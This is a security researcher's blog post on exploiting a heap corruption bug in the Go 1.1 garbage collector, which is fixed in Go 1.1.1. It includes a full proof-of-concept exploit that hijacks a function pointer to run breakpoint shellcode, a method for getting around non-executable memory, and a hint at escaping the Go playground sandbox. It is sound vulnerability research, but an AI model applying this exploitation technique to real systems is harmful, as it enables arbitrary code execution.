It is compiled, garbage-collected and memory safe.. as long as you don't find a bug in the runtime. Alex Reece (@awreece) from PPP recently blogged about a nice vulnerability, I found it interesting and started following more of the changes.
This one looked fun: runtime: fix heap corruption during GC (#5554), let's try to exploit it. The bug was not present in Go 1.0.3, present in Go 1.1 but will be fixed in Go 1.1.1 (to be released next week).
Bug
The bug is a variable overwrite during garbage collection (see patch): in some weird situation, n (length of the block to garbage collect) is rewritten with channel capacity because reusing the same variable name.We can use that to break the memory safety: have the garbage collector mark some used blocks as free so we can overwrite them and use them in an unexpected way. We can also think of it as a use after free (wrong free by the garbage collector).
Preparation
Before exploiting the bug, let's answer some questions about Go exploitation. In his blog post, Alex says:- Go 1.1 now has non-executable heap and stack, a problem for his exploit using a shellcode on the stack
- to get the address of the shellcode, the exploit has to be run twice (would be defeated if Go had randomization but it does not)
It turns out both points have a solution:
- NX? place your shellcode as a global variable, it will be in .rodata (-x) but at runtime with .text (+x)
- get the address? use fmt.Printf with %p (pointer)
package main import "fmt" var shellcode = "\xcc" func main() { fmt.Printf("%p\n", &shellcode) }
$ go build test.go $ ./test 0x5077d0 $ gdb test gdb$ b test.go:main.main gdb$ r gdb$ x/x 0x5077d0 0x5077d0 <main.shellcode>: 0x004ada80 gdb$ x/1c 0x004ada80 0x4ada80 <go.string.*+9296>: 0xcc gdb$ maps 0x00400000 0x00506000 r-xp /tmp/test gdb$ q $ readelf -S test | grep -A 1 '\.rodata' [ 2] .rodata PROGBITS 0000000000467020 00067020 0000000000060580 0000000000000000 A 0 0 32This means shellcode is in .rodata, ELF says it's not executable but at runtime it's mapped along with .text as executable. Thanks Go!
Exploitation
Where do we start? thanks to the regression test, we have a proof-of-concept:func TestGcRescan(t *testing.T) { type X struct { c chan error nextx *X } type Y struct { X nexty *Y p *int } var head *Y for i := 0; i < 10; i++ { p := &Y{} p.c = make(chan error) p.nextx = &head.X p.nexty = head p.p = new(int) *p.p = 42 head = p runtime.GC() } for p := head; p != nil; p = p.nexty { if *p.p != 42 { t.Fatal("corrupted heap") } } }If we change p (pointer to int) to a pointer to function and are able to control the value being corrupted, we win. How to control the value? It's conveniently freed on the heap, so we just re-allocate a few new(int) and set their values.
Final exploit, with a handy address() using fmt.Sprintf with %p to get shellcode's address:
package main import ( "fmt" "runtime" "strconv" ) var shellcode = "\xcc" type X struct { c chan error nextx *X } type Y struct { X nexty *Y p *func() } func address(i interface{}) int { addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0) if err != nil { panic(err) } return int(addr) } func main() { var head *Y // prepare conditions: first element will not be modified, second will be for i := 0; i < 2; i++ { p := &Y{} p.c = make(chan error) p.nextx = &head.X p.nexty = head p.p = new(func()) *p.p = func() { fmt.Println("failed") } head = p } // call garbage collector, it will free head.nexty.p runtime.GC() // reallocate on the heap to overwrite head.nexty.p with shellcode address addrShellcode := address(&shellcode) var list []*int // keep items there or they can be optimized away for i := 0; i < 100; i++ { e := new(int) *e = addrShellcode list = append(list, e) } // if it worked, head.nexty.p function pointer now points to shellcode (*head.nexty.p)() }Run it with a vulnerable Go (e.g. with hg update e4db68a39f50 just before the fix):
$ go run exploit.go SIGTRAP: trace trap PC=0x4ae681 [...]Otherwise:
$ go run exploit.go failed
Bypass of play.golang.org sandbox is left as an exercise to the reader ;) (note: it's already patched, try)
No comments:
Post a Comment